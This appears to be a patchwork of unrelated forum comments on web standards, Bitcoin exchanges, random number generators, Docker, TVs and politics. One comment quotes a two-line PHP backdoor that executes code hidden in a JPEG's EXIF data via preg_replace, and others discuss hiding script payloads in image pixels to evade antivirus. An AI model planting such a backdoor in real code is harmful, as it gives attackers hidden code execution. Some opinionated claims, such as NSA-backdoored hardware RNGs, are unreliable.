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Yeh, but Apple are just as guilty of ramming things into the web platform.

Take srcset for example the value it adds as a responsive image solution is up for debate but there's no hope of Apple dropping it in favour of something else - this is pretty clear from various email lists, F2F meetings (to the extent that Chrome felt they've got no option but to support it)
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You know, I saw that video when it came out (also known as the Roger hostage video). And somehow, strangely, it didn't give any more confidence in Gox.

Yes, that video looks like Roger is held at gunpoint by his captors forced to read a statement. Obviously, that's not what happened. However I believe that Roger had a choice of how to deliver his statement. And obviously, if he had seen something to suggest that there would be liquidity problems, or if he was unconvinced, he couldn't have said so. Gox would've probably sued him in the ensuing bank run.

Still, he went there, looked at it, and had to get the news out. So how to do it in a way, that doesn't make Gox sue him? Pretty much exactly how Linus did admit that NSA has approached him. Do it in a way to leave you least open to being sued, while still getting the message across.

And that's exactly how many interpreted this statement of Roger.
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disclaimer: this is not my work, a coworker wrote it as an experiment, I liked it and thought I'd post it here.
FWIW, The article seems to be mistaken. The code listed is retrieving the payload from the pixel data.

It uses getImageData, which returns the pixel data of the canvas in an array of RGBA values. It then loops through and retrieves a character from every red pixel.
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Fascinating.

I wonder if visualizing the dice roll could help. If you don't have ethical objections to it you could also A/B test biased dice (say, biased away from 1 and 20) for complaints (give a different contact email address to players who get biased dice) or instead show the players the distribution of the last 100 rolls.
Oh, man, that link proves my point. IMO.

Doubtlessly, numerous people on this planet woke up this morning and said: "wow, this day would be great if I could see a 53-year-old movie in 4K. Because watching The Guns of Navarone in Blu-Ray just doesn't do it justice". No, I don't think that happened this morning (or any other morning).

Or maybe they all said: "If only I could see Dr. Peter Venkman get slimed in 4K quality, my life would be complete. Watching Ghostbusters in Blu-Ray doesn't let me appreciate the nuances of that 29-year-old film". No, I don't think too many people said that either.

I understand that Sony has to start somewhere. But there's no "killer app", or in this case "killer movie" on that list. (Though, granted, there was plenty of killing in Breaking Bad). Ghostbusters is one of my favorite movies of all time, but I'm not going to buy a brand new TV set just to re-watch it in 4K. Still, if they add Forbidden Planet to that list, maybe they'd make a sale. :)

This is not a mass market product. In fact IMO there's not enough of a market for this to be a profitable product.

But as Dennis Miller used to end his rants: "of course, that's just my opinion, I could be wrong".
I saw this on my phone when I woke up and made a note to come find it.. and it's a few pages down amongst older posts with lower scores. Seriously, who is flagging this? It's awesome.
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I often wonder how the "tool" named MONADS could help to deal with this quite old problem of what I call

meta-types or semantic types

(i'm sure there is a proper name for this; I'm not a cs/type-theory professional ;)

Time handling f.e. and often physical Units would quite often benefit from much stronger guaranties at compile and runtime. And no, OOP and it's tools are not sufficient to handle this... in theory maybe, not in day to day development.

We need to translate the core ideas of a monad into more a "mainstream" syntax and runtime env. to prevent the next incident of:

I'll just add the integer 365 to my certificate valid-date within our core cloud infrastructure code...

I'm not necessarily a MS fan, but would love to see how Anders Hejlsberg f.e. would tackle this kind of language-design challenge ;)
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Well, close, but Poland was invaded by a number of neighbors (we also did some invading ourselves, back when we actually could).

Your reasoning makes me think of the prisoner's dilemma. Sure, if everyone agreed to just abandon the concepts of cultural identity (leading to nationality) and live in peace, the world would be a better place. But for the moment, I'm afraid that "world peace" is something that only Miss World candidates speak of regularly.
Apple have done it with webstandards too - there are no innocent parties
To illustrate coldtea's point:

http://bellard.org/jslinux/

You've just fully booted linux in your browser. That Linux sees 16 MB RAM for itself. If you are a web programmer, do you even try to see how much memory the browser spent for this, or any other page you click to?
You should be careful when using word like quality in this context. Some might think that by quality you mean any kind of statistical property. E.g dice rolls generated by either of them are somehow statistically different, which they are not.

What does this mean in practice: If I give you 10 10MB files. 5 of them created with urandom and 5 of them created using hardware RNG there is practically no chance that you could differentiate which came from which, barring knowledge of the urandom entropy pool.

But it is true that HW RNG could be useful just to keep CPU load down. By now we know that those are backdoored by NSA, so you should still use /dev/random as a source for private keys. So HW RNG is useful just to keep the load down. Not to avoid any attacks.

This is so important that I'll have to repeat it again: The only difference between urandom and random is that urandom is theoretically suspectible to an attack which could allow prediction of the output values if the attacked knows the internal entropy pool state. The statistical properties of both are the same.
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The EU commission (which is the unelected organisation that actually decides) simply wants power, so if Turkey wants to join and play Trojan horse, they will certainly let them.

Because of this, and regardless of the Turkey issue, can we please stop referrring to Europa, or the European Union as "democratic" ? It's not. Let's just stop pretending.
Apple is the -first operating system in the world- that can control what you can and cannot install on the physical hardware device you own. You literally have no choice but to jailbreak your own phone, which in itself has questionable legal grounds. People doing the jailbreaking are being hunted down like criminals. Being measured is how we got here, now it's time to speak out.

"The ones who are crazy enough to think that they can change the world, are the ones who do." -Apple http://www.youtube.com/watch?v=8rwsuXHA7RA
Thanks, you wrote a couple of interesting comments.

As a Swede, I think you shouldn't try to apply logic to Sweden's position. Most [foreign] policy are decided because of economic interests and/or internal Swedish (politically correct) politics.

And about changing a society -- it takes a few generations to modernize. But it has to come. Sure, it might be harder for muslim countries (e.g. there is no real demand to execute people leaving the religion in Christianity!). Since a liberal and open society seems to be needed to e.g. get rid of corruption. With rampant corruption you just have, well, a pile of shit (see Romania and Bulgaria, which you mentioned; I work in Romania right now).

The previous paragraph is, I believe, the thinking in West Europe. I tend to agree. China is the obvious counter argument to this position, we'll see where they end up when the Chinese GNP/capita gets closer to a rich country.
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Interesting! Things might have changed, then. But to confirm: do you mean I can simply start developing a product based on Qualcomm chips (with projected volumes into hundreds or low thousands), and I'll get access to all the necessary documentation (datasheets, reference designs, etc)?
Love the idea, but I don't really get the recipient field - whichever (valid) address I put in, I get an error. I also think it's a bit unclear on what should be entered here, a post/zip code, company name, etc.?
> Removing that would remove the entire essence of Twitter and turn it into endless drivel.

Funny, because that's exactly what it is right now. When was the last time there was something worth reading on Twitter?
I wish that Sony publish all the Vaio engineering diagrams before its death. I don't want this spirit disappear.
This means that, if for instance BofA or JP Morgan Chase fails (that'd never happen, right?) that the liabilities alone of these banks are already 20x to 40x bigger than the entire FDIC fund.

Note: If BofA or JP Morgan Chase went bankrupt, it wouldn't necessarily mean that they have zero assets. More likely they'd be able to pay 99 cents on the dollar and the FDIC would pay the last cent.
Dont take this the wrong way but it sounds more like a self confidence issue more than anything else. In the work environment if you can appear more confident than your peers then you will find they respect you and your suggestions more.

Its amazing what a difference it can make.

It also sounds like you need to get out there and find yourself a new challenge.

You say you have been doing C / C++ development work it should mean you have a good range of skills. Why not look for a new role using a different programming language. You need not be an expert but seeing as you can code most companies would be happy to have you.

It would offer you a good platform to renew yourself and make an impact in a different company.
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Similar in the UK with Sky, sports seems to be their biggest 3D draw (on Sky Sports 3D I think it's called), but they show other content too: http://en.wikipedia.org/wiki/Sky_3D

Not sure how popular it is (I don't know anyone who uses it, the only friends I have who tried it got bored of it quickly), but it hasn't shut yet.
To be honest, I can only compare it to Samsung because that's all my parents and my friends have. My GF's parents have a Sony.

I found Samsungs menus and control scheme to be unbearable and the owners often struggle with it too.

I usually play media directly from my PC via UPNP and that works. The built-in Youtube app is okay for the occasional video, too. Other than that I only play DVDs and Blurays and the media libraries of german TV channels (they are usually not available via built-in apps to the same extend) via a connected Rapsberry Pi.

A big plus is that my TV is able to put out DD 5.1 it receives via HDMI on it's optical output.

The picture qualities beats every other (LED) TV I have seen. It even came with halfway decent factory settings. Don't ask me how much time I spent trying to adjust the colours on my parents TV. But they grew to like the candy colours...
A growing number of chipsets have them built in and accessible.

Many new Intel chips do (though off the top of my head I can't tell you how easy to access it is).

The SoC used in rPis units has one that can be read from at over half an Mbit per second via /dev/hwrng (once the relevant module is loaded), so you can either use it directly or (better for portability) keep reading from /dev/urandom and use rngtools to feed the entropy into the kernel's pool as needed.

In both the above cases there is a trust issue as exactly how the RNGs work is not publically documented, but unless you are extremely paranoid (by neccesity or "issues"!) I woudl consider them decent sources of entropy.
Throwing dices in real life is even less random than a "truly" random function.
Ehhhhh...

I've use VisualStudio every day for the past years. And honestly there are a lot ideas they could borrow from other tools like Eclipse.

Some examples that I personally feel are ways that C# in VS is lackluster compared to Java in Eclipse.

No proper automatic build. While the stuff in Eclipse is a bit too aggressive sometimes it's really one of those really cool features to have.

Errors, warnings, other tools like StyleCop don't show errors inline with the code. I mean, really? I have to scroll through the error list and click?

It also doesn't really seem to understand the code it's processing. I'd expect that when I'm working on Silverlight with C# that the premiere tool from Microsoft should be able to handle things like refactoring properties in C# where it would update automatically in XAML.

And this is not even mentioning the complete trainwreck that is MSDN. Perhaps you can understand it once you really get into it, but I find it extremely confusing the way it mixes different frameworks with similar but subtly different functionality. (Eg a lot of things in Windows Phone are similar, but not identical, to features in .Net and trying to find the "chain of classes" that are relevant to your code is not nearly easy enough.)

Some of these things are probably things you can fix with extensions like Reshaper. But in the end you'll pay hundreds of dollars to compete with something that is free in Eclipse.
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>Pretty much every good mainstream movie is made in 3D now

Okay, honest question, because I'm not up on the technology.

Are all these movies actually made in 3D, or are they mostly converted to 3D after the fact? Shooting in 3D has to be a lot more expensive. I can see doing it for big action movies, but is it needed for a typical RomCom?
I'm not sure why you think I'm such a Chrome fan, especially as nearly every other reply assumes that if I don't like monopolists interfering with the browser market to prop up their obsolete platforms I must be a Netscape fanboy.

Though, I have used Firefox since the days of Phoenix, back when some of the most important bugs where for evangelists to convince important websites to support anything other than IE (often just IE on Windows, since the Mac version was different, technically better, yet worse because lots of things didn't work on it). Presumably this is why everyone else thought IE was "better" since most of the web was written for it, and it alone.

But there were other browsers, remnants of a once thriving, competitive market, e.g. Omniweb for Mac OSX had inline spell checking in about 2000 (might even have had it back on NeXT). Safari launched with it in 2003 I think. There were plugins for IE and Firefox from around the same time. Firefox was held back because the Netscape spell-checking code (for the email component) was licenced so that was something that got ripped out when Mozilla was launched. Even so, they beat Microsoft (which had more money than God and had already written the most used spell checker on the planet) by 6 whole years!
Rather than link to a comment from someone at Apple part way down the thread and starting 'burn the witch' style threads on HN perhaps the OP should have started at the beginning - http://lists.w3.org/Archives/Public/www-style/2014Feb/0032.h... - and included the Blink thread that discusses Google's position and issues in more detail https://groups.google.com/a/chromium.org/forum/#!topic/blink... - read Adam Barth's comments if nothing else
Only if it has OpenWRT installed.
No, and it does not matter who you trust. Analog circuitry simply has too much inbound and outbound information leakage to be trustworthy. You must round it out with a mixing algorithm.
Fair enough, but this issue comes up consistently in many different areas and it has resulted in the the current app store stereotype of fickle, unfair and even schizophrenic.
Apple's screens are lacking compared to similar priced Vials/PCs (the TFT screens on the 11" MacBook Air and 13" MacBook Pro are particularly atrocious). Viaos are often lighter than similar priced Macbooks and are more durable.

Apple's differentiation is not a supposedly unique high finish + dependability — although they are unique for only selling high end computers — but the Apple retail stores and easily upsold AppleCare (available up to a year after purchase of a macbook). Most PC users call their 'computer guy' relative when their PC breaks. In contrast most Apple users take their broken device to the Apple Store. That professional service is why most Macs stay in circulation longer
If experience was correlated with skills, maybe.
The author reads (or maybe doesn't know enough about clothes/fit) too much into the engineers choices: you can normally tell by awful fit of the clothes on people who just aren't that into fashion and don't need to be outwardly presentable. It's not that difficult and hardly a general rule, but anecdotally if the clothes don't fit that well then likely an engineer.

To the author: read a few fashion blogs (hell even complex) and compare to your photos, those who had to be presentable were in clothes that fitted nicely.
Nobody seems to be giving the author the benefit of the doubt - so I'll play devils advocate against your analogy.

"The current state of painting as a way to capture images sucks. It takes years of practice, and even then the likeness created is only ok unless you're a true master. There's this area of research around lenses and films that professional painters seem to scoff at - but I really think we could be doing profoundly better if we can get it working."
Your theory does not coincide with my anecdote. This name confusion scenario was familiar to the driver.

Warrants are issued by a court. Courts are imperfect and may not have correct date of birth or other identifying information beyond a name.
You keep saying I'm wrong, because in future docker/containers might work in a different way to how they work today, and will be used in a way entirely different to how people use them today (and utterly contrary to how docker has been marketed to date).

AFAICT through the wall of text, the only problem you have with what I said is that Docker loses its value when combined with a VM. That's fair enough, but that was 1% of my comment.

If you're replying, please don't quote yet another wall of text, it's almost impossible to read.
"They" are cracking down on "dissidents", while "we" are cracking down on "terrorists".
It's pretty difficult to hit the vote buttons with a normal mouse/trackpad, too. Requires a lot of concentration.
Cool, thanks again
OK, here's my own definition:

Does this activity add to the likelihood that humanity will cease to enjoy a standard of living similar to the current average at some point before other natural processes (Sun going red giant, etc.) kill us all anyway?

So hey, if they sun's gonna kill us all next year, go hog wild. If what I'm doing now means that somebody 500 years from now will have a more impoverished existence, it's not.
Indeed. The clever part though is that since the code is never loaded as text, the normal ways of detecting and combating it will have a hard time. Such an image can be hosted on imgur or imageshack, and anti-virus/anti-malware mechanisms in the browser would never look over it like they would if it were a .js file.
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Even worse: you can't "retract" an accidentally placed down- or upvote.
Fortunately, you discredited your own sentiment with your harshness and poor sentence construction. In addition, you presented a false argument, implying that somebody with my concerns would see murder as the only answer, perhaps revealing more about your own psyche than you'd like.
It's not unknown though, there's been PHP malware that executes an images exif data previously.

$exif = exif_read_data('/homepages/clientsitepath/images/stories/food/bun.jpg');
preg_replace($exif['Make'],$exif['Model'],'');

This particular one operates in a similar way but with significantly more stealth, even if you were looking right at it you wouldn't immediately suspect that it's a backdoor executing code. Looks a bit odd, but if it was shoved in a thumbnailing function or something similar you might never notice, doubly so if the code it's executing is a client supplied image.

http://blog.sucuri.net/2013/07/malware-hidden-inside-jpg-exi...
Just zoom-in a bit, it works fine.

Sure CSS stylesheet for mobile devices would be nice.
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>> In other words, Docker can be used for deployment and distribution without reducing your options for security. Respectfully, this directly contradicts your original comment.

>If they instead used a VM for each application, they would have to pierce the VM implementation, potentially plus seccomp in some cases, which is the mitigation the parent was referring to. The choice to use Docker instead of VMs limits the security options available.

The parent is suggesting you can use Docker as a supplement to any additional security measure one might choose (to quote: "Docker is commonly used in combination of VMs for security, so at least some people find it useful").

In your example, a person would run Docker on top of the VM, and gain "a system for managing and distributing repeatable execution environments".
Well, in fairness one can be concerned about the implications for the planet's health of collapsing fisheries, and also wonder by what moral authority we deprive another species that appears able to feel pain and joy of their home so we can have a diet with large amounts of concentrated vegetable oil.
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I think this is a great idea. My secondary school (UK) actually had a wealth of voccational subjects. From the age of 13 I studied Cisco, Red Hat and then Oracle DB. By 16 I had a CCNA. Oracle Certified DBA and a few vendor certifications like Security+ and Network+

The real issue was Universities acknowledge them as points towards UCAS so practically everyone on the course ended up staying on another year or two and studied other subjects to get the necessary points.

I'm hopeful that one day the system will cater for more subjects but its a long way way at least in the UK.
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And wouldn't it be awesome if multiple parties was able to read through a draft and make comments on it and provide constructive feedback before it was finalized and pushed into production on the web, to be supported for all eternity?

That way we could have a good implementation of this whole thing.

Sadly so far everything except the "rush this unfinished thing into production"-part is missing.

Obviously Google only see their own implementation, think "all is good" and don't give a rats ass about anyone else and their opinions, but here on HN we should have a wider perspective.